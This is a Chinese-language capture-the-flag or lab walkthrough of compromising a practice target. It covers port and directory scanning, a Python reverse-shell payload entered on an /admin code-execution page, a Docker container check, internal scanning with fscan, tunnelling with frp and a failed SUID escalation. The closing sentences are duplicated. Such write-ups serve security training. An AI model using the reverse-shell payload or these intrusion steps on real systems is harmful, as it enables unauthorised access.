渗透练习02
一、网站扫描
1.1 查看靶机开放端口
nmap扫描靶场全端口,发现有22和5000端口开着,5000端口是python脚本语言写的http协议网站,22端口看出对方系统是Linux
nmap 192.168.123.169 -p- --min-rate 1000 -sV
开放了以下端口
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15)
对5000端口进行访问,测试未发现可利用信息
1.2 目录扫描
利用dirsearch工具对5000端口进行目录扫描
┌──(root㉿kali)-[/home/kali]
└─# dirsearch //下载dirsearch
┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.123.153:5000/
[07:23:10] 200 - 4018 - /admin
扫出/admin目录,访问该路径,发现网页有代码执行的功能
二、漏洞利用
2.1 利用nc连接python反弹shell
网页端
输python反弹shell的代码
import socket,subprocess,os;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“kali机ip”,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);
kali机端
┌──(root㉿kali)-[/home/kali]
└─# nc -lp 80
listening on [any] 80 ...
connect to [192.168.123.30] from socnet.lan [192.168.123.153] 51691
/app # ls
Dockerfile
main.py
requirements.txt
templates
连接成功
三、提权
后面是对提权的一些尝试,但我最终没有提权成功
3.1 查看目录文件
查看id
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app
目录下,发现有个Dockerfile的模板文件,盲猜该网站是docker搭建的容器系统
为确定这是docker容器系统,可输入ls /.dockerenv
命令,若存在/.dockerenv目录,这证明是
显而易见,此处确实是docker容器系统,不是安装在普通服务器上的系统,我们进入的shell不是靶机的物理机shell
/app # cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY ./app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]
/app # ls /.dockerenv
/.dockerenv
ip a 命令查看服务器ip
由于靶场是目标靶机的docker搭建的,所有我们进入的shell是docker容器,当前容器ip为127.17.0.3 (docker相当于虚拟机),该ip是内网IP
3.2 扫内网IP
为了进一步获取更多信息,看该网段有哪些ip存活,这些存活ip有没有漏洞,用ping太慢,只能一个个测,linux系统没有fping,所有需使用fscan等工具
需将fscan通过shell将本地下载好的文件上传到靶机上
kali机端先开启443端口的web服务
shell端通过wget 从本地开的web页面下载fscan
Chmod加权限后运行
fscan扫描docker容器的内网ip段,发现只有1,2,3主机存活
3.3 利用frp将内网端口映射到本地
frp是通过内网和kali机建立隧道,生成代理,使kali机上的工具可以基于该代理直接对内网ip使用,实现内网穿透
下载frp到kali机:https://github.com/fatedier/frp/releases/tag/v0.59.0
修改两端配置文件
配置好后,kali机开启web服务,必须切换到要上传的文件所在目录开启
将frp客户端和客户端配置文件上传到目标靶机
服务端开启监听
客户端运行代理工具
kali连通内网后,访问kali的ip:映射端口9200,就能访问内网了
访问内网,看到网站内容,看到一个软件名,去msf搜它有没有漏洞
发现搜出有漏洞,提供载荷
看一下该脚本怎么使用
运行要使用python2,是因为py脚本print没有使用括号看出,python3是print()
解密后使用ssh连接,发现只有john用户可以连接成功
ssh连接,账号是john@靶场物理机ip,密码是上面MD5解密
将所有提权方法试一遍,发现只有find有有权限文件
find该命令是找出有suid特权位的文件,但最后发现它们并不能用suid提权
现只有find有有权限文件
find该命令是找出有suid特权位的文件,但最后发现它们并不能用suid提权